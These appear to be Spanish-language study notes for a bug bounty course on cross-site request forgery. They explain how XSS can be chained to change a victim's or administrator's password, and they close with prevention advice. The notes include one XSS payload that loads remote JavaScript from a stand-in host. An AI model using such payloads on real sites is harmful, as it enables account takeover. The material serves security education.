CBBH - Cross-Site Request Forgery (CSRF)
Los ataques CSRF pueden utilizar vulnerabilidades XSS para realizar ciertas consultas y llamadas API a una aplicación web en la que la víctima está actualmente autenticada. Esto permitiría al atacante realizar acciones como usuario autenticado. También puede utilizar otras vulnerabilidades para realizar las mismas funciones, como utilizar parámetros HTTP para ataques.
Un ataque CSRF común para obtener acceso con mayores privilegios a una aplicación web es crear un payload JavaScript que cambie automáticamente la contraseña de la víctima al valor establecido por el atacante. Una vez que la víctima ve el payload en la página vulnerable (por ejemplo, un comentario malicioso que contiene el payload JavaScript CSRF), el cídigo JavaScript se ejecutará automáticamente. Utilizaría la sesión iniciada de la víctima para cambiar su contraseña. Una vez hecho esto, el atacante puede iniciar sesión en la cuenta de la víctima y controlarla.
CSRF También se puede aprovechar para atacar a los administradores y obtener acceso a sus cuentas. Los administradores generalmente tienen acceso a funciones confidenciales, que a veces pueden usarse para atacar y obtener control sobre el servidor back-end (dependiendo de la funcionalidad proporcionada a los administradores dentro de una aplicación web determinada). Siguiendo este ejemplo, en lugar de usar código JavaScript que devolvería la cookie de sesión, cargaríamos un archivo remoto .js( JavaScript), de la siguiente manera:
1
"><script src=//www.example.com/exploit.js></script>
El archivo exploit.js contendría el código JavaScript malicioso que cambia la contraseña del usuario. Desarrollar exploit.js en este caso requiere conocimiento del procedimiento de cambio de contraseña de esta aplicación web y APIs. El atacante necesitaría crear un código JavaScript que replicara la funcionalidad deseada y la llevara a cabo automáticamente (es decir, un código JavaScript que cambie nuestra contraseña para esta aplicación web específica).
Prenvención
Aunque debe haber medidas en el back-end para detectar y filtrar la entrada del usuario, también es siempre importante filtrar y desinfectar la entrada del usuario en el front-end antes de que llegue al back-end, y especialmente si este código puede mostrarse directamente en el lado del cliente sin comunicar con la parte trasera. Se deben aplicar dos controles principales al aceptar la entrada del usuario:
| Tipo | Descripción |
|---|---|
| Sanitización | Eliminar caracteres especiales y no estándar de la entrada del usuario antes de mostrarla o almacenarla. |
| Validación | Garantizar que la entrada del usuario enviada coincida con el formato esperado (es decir, el correo electrónico enviado coincida con el formato de correo electrónico) |
Además, también es importante desinfectar la salida mostrada y borrar cualquier carácter especial o no estándar. En caso de que un atacante logre eludir los filtros de validación y desinfección del front-end y back-end, aún así no causará ningún daño en el front-end.
Una vez que desinfectemos y/o validemos la entrada del usuario y la salida mostrada, deberíamos poder prevenir ataques como HTML Injection, XSS o CSRF. Otra solución sería implementar un firewall de aplicaciones web (WAF) , que debería ayudar a evitar intentos de inyección automáticamente. Sin embargo, cabe señalar que las soluciones WAF pueden potencialmente evitarse, por lo que los desarrolladores deben seguir las mejores prácticas de codificación y no simplemente confiar en un dispositivo para detectar/bloquear ataques.
En cuanto a CSRF, muchos navegadores modernos tienen medidas anti-CSRF integradas, que impiden la ejecución automática de códgo JavaScript. Además, muchas aplicaciones web modernas tienen medidas anti-CSRF, incluidos ciertos encabezados e indicadores HTTP que pueden evitar solicitudes automatizadas (es decir, anti-CSRF token o http-only/ X-XSS-Protection). Se pueden tomar otras medidas desde un nivel funcional, como exigir al usuario que ingrese su contraseña antes de cambiarla. Muchas de estas medidas de seguridad se pueden eludir y, por lo tanto, este tipo de vulnerabilidades aún pueden representar una amenaza importante para los usuarios de una aplicación web. Es por eso que estas precauciones sólo deben considerarse como una medida secundaria, y los desarrolladores siempre deben asegurarse de que su código no sea vulnerable a ninguno de estos ataques.